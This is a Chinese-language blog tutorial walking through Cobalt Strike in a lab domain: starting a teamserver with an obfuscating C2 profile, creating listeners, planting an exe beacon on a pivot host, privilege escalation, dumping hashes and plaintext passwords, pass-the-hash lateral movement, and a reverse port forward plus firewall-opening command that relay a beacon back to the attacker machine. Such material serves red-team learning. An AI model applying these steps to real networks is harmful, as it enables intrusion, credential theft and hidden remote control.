Cobalt Strike 学习
前言
本文以一个模拟的域环境为例对 Cobalt Strike
的使用实践一波。
环境拓扑图如下:
攻击者(kali
) 位于 192.168.245.0/24
网段,域环境位于 192.168.31.0/24
网段。
域中有一台 win7
有两张网卡,可以同时访问两个网段,以这台机器作为跳板机进入域环境。
启动 Cobalt Strike
首先起一个 teamserver
./teamserver 192.168.245.128 ad_hack malleable_c2/Malleable-C2-Profiles/normal/webbug_getonly.profile
设置了密码为 ad_hack
, 使用了一个配置文件对木马之间的通信做混淆(Cobalt Strike的第一个强大的特性)。
配置文件来源
https://github.com/rsmudge/Malleable-C2-Profiles
通过自定义配置文件,我们可以控制木马域服务器之间的通信,然后通信流量藏在正常的流量里面进行传递。
配置文件编写可以看下面的资料
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
然后在本地打开一个 Cobalt Strike
客户端连上 teamserver
其中 user
随便填, 密码和 ip
填刚刚设置好的,端口一般不用改。
如果需要改端口,貌似需要改改 teamserver
里面的代码。
因为我发现 teamserver
启动的使用实际是用 java
给主程序加了端口的参数
启动listener
用于处理 beacon
的通信,主要分为两类
beacon | Cobalt Strike 自带的 shell,该shell所支持的通信协议主要包括 dns、https、http、smb。 |
---|---|
foreign | 用于把 beacon shell 派生一个 Meterpreter |
首先我们先新建一个监听器,
这里配置的是 Cobalt Strike
服务端会监听在 192.168.245.128:8989
,等待 reverse_http
类型的 beacon
通信。
点击 save
会让我们配置 beacon
的通信地址。
这里配置为 192.168.245.128
,之后 beacon
在被攻击的机器上执行会尝试与 192.168.245.128:8989
进行通信。
如果在内网里面的话,有时某些机器反弹不出来就需要配置这个地址为 内网某个已经拿到权限的机器,然后在该机器上配置端口转发,转发到 listener
, 后面用到的时候再详谈。
生成并传递 beacon给跳板机
首先生成一个 exe
格式的 beacon
, 实战中可以使用其他的比如 powershell
, shellcode
方便做一些免杀的操作。
配置 listener
然后以某种方式让跳板机执行, 这里我就直接拖进去执行了。过一会就上线了
提权及dump hash
首先尝试提权, cs
自带了两个 exp
, 然后 github
里面还有几个,一起导入。
https://github.com/rsmudge/ElevateKit
提权之前我们先开一个 smb
通信的 listener
这种 listener
使用 windows
的命名管道进行 点对点 通信, 又因为 命名管道 是在 smb
协议里面进行传输的,所以这个 listener
叫 smb_pipe
.
cs
的这种通信方式是一个非常大的亮点,因为内网中的很多机器其实是反弹不出来的, 但是使用命名管道进行 点对点 通信 的话, 就不用考虑反弹的问题, beacon
之间通过 smb
进行通信, 然后一个顶层的 beacon
使用不同的通信策略和 listener
转发其他 beacon
的通信。
不过 smb
这种 beacon
的使用限制还是比较大的,现在我知道的有两种方式可以实现这样的通信
- 在一个
beacon
上使用pth
或者提权 等操作拿到的beacon
可以使用这种beacon
- 其他的
beacon
可以通过link
指令使用beacon
通信。
这里我们是提权可以使用这种 beacon
等待一会,就会派生出一个 system
权限的 beacon
如果是使用 smb
命名管道通信的 beacon
会用线连接起来, 箭头指向为子 beacon
, 箭头开始为父 beacon
.子 beacon
直接与父 beacon
通信,比如接收命令以及返回结果。
然后我们在 system
权限的进程下 dump hash
, 在图形化界面选中目标,然后右键。
或者可以直接输命令
又或者抓下明文密码
可以通过 credentials
菜单查看所有的 凭据 (账户密码及hash
)
横向渗透
接下来我们应该需要看看本网络还有啥其他的主机,然后利用已经拿到的凭据进行横向渗透。
结果可以在 Targets
选项卡里面找到
或者可以开个 socks
代理,用 nmap
来扫扫
使用 deploy vpn
会在 teamserver
所在的机器开一个虚拟网卡,通过这个网卡我们可以接入内网,可以直接使用 ifconfig
以及 dhclient
来操作网卡。
下面使用已经获取到的 凭据进行 pth
攻击。按住 ctrl
选择多个目标,然后右键选择各种方式进行测试。
假设 192.168.31.130
也就是那个 xp
上可以执行 payload
, 由于他不能出内网,所以无法直接反弹,下面使用反向端口转发 ,来反弹一个 beacon
首先在 跳板机 (192.168.31.129) 做反向端口转发
beacon> rportfwd 9898 192.168.245.128 9898
把本机的 9898 端口转发到 192.168.245.128 9898
由于域的安全机制,我们需要手动开下端口放行的规则
netsh firewall set portopening TCP 9898 ENABLE
下面创建一个 listener
, 监听 9898
端口,并且让 beacon
反弹到 192.168.31.129:9898
, 因为有反向端口转发,所以会连接到我们的 teamserver
然后创建一个 exe
格式的 payload
, 记得使用 stageless
.
然后就会反弹成功。
Cobalt Strike 学习的更多相关文章
- Cobalt Strike学习笔记
Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...
- Cobalt Strike系列教程第五章:截图与浏览器代理
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- Cobalt Strike系列教程第四章:文件/进程管理与键盘记录
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- Cobalt Strike系列教程第三章:菜单栏与视图
通过前两章的学习,我们掌握了Cobalt Strike教程的基础知识,及软件的安装使用. Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- Cobalt Strike系列教程第二章:Beacon详解
上周更新了Cobalt Strike系列教程第一章:简介与安装,文章发布后,深受大家的喜爱,遂将该系列教程的其他章节与大家分享,提升更多实用技能! 第二章:Beacon详解 一.Beacon命令 大家 ...
- Cobalt Strike系列教程第一章:简介与安装
Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...
- cobalt strike 快速上手
原文:https://klionsec.github.io/2017/09/23/cobalt-strike/#menu 0x01 关于 Cobalt Strike 1 2 3 一款非常优秀的后渗透平 ...
- Cobalt Strike系列教程第七章:提权与横向移动
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- Cobalt Strike系列教程第六章:安装扩展
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
随机推荐
- oracle 闪回、归档的设置建议
闪回与归档的相关测试 参考博客:http://www.cnblogs.com/hellojesson/p/7050097.html 数据库在归档模式下的管理 参考博客:http://www.cnblo ...
- python 相关模块安装 国内镜像地址
python 相关模块安装 国内镜像地址 pipy国内镜像目前有: http://pypi.douban.com/ 豆瓣 http://pypi.hustunique.com/ 华中理工大学 ht ...
- 阿里巴巴Java开发规范---个人总结
一.编程规约 (一) 命名规约 1. [强制]所有编程相关命名均不能以下划线或美元符号开始,也不能以下划线或美元符号结束. 反例: _name / __name / $Object / name_ / ...
- CentOS 部署 Python3 的一些注意事项
环境:centos6.7https://github.com/vinta/awesome-pythonhttps://github.com/PyMySQL/PyMySQLhttps://github. ...
- 全网最详细的Windows系统里PLSQL Developer 64bit安装之后的一些配置(图文详解)
不多说,直接上干货! 注意的是: 本地若没有安装Oracle服务端,Oracle server服务端64位,是远程连接,因此本地配置PLSQL Developer64位. PLSQL Develope ...
- GO入门——2. 变量
1 基本类型 零值并不等于空值,而是当变量被声明为某种类型后的默认值, 通常情况下值类型的默认值为0,bool为false,string为空字符串,引用为nil. 1.1 布尔类型 关键字:bool ...
- SpringBoot开发使用@ImportResource注解影响拦截器
问题描述 今天在给SpringBoot项目配置拦截器的时候发现怎么都进不到拦截器的方法里面,在搜索引擎上看了无数篇关于配置拦截器的文章都没有找到解决方案. 就在我准备放弃的时候,在 CSDN 上发现了 ...
- Redis+Jedis封装工具类
package com.liying.monkey.core.util; import java.io.IOException; import java.util.ArrayList; import ...
- Doxygen自动文档生成工具在Eclipse中的集成及使用举例
你有为软件编写说明文档的苦恼吗?当别人甩给你一个庞大的系统,让你根据里面的代码注释理解后写出一份完整的开发文档,你会怎么办?一个个的看代码 然后耗时N天来写吗?这既是一份苦差事也极其耗时,有没有更好的 ...
- Solidity的delete操作
Solidity中有个特殊的操作符delete用于释放空间,因为区块链技术做为一种公用资源,为避免大家滥用.且鼓励主动对空间的回收,释放空间将会返还一些gas. delete关键字的作用是对某个类型值 ...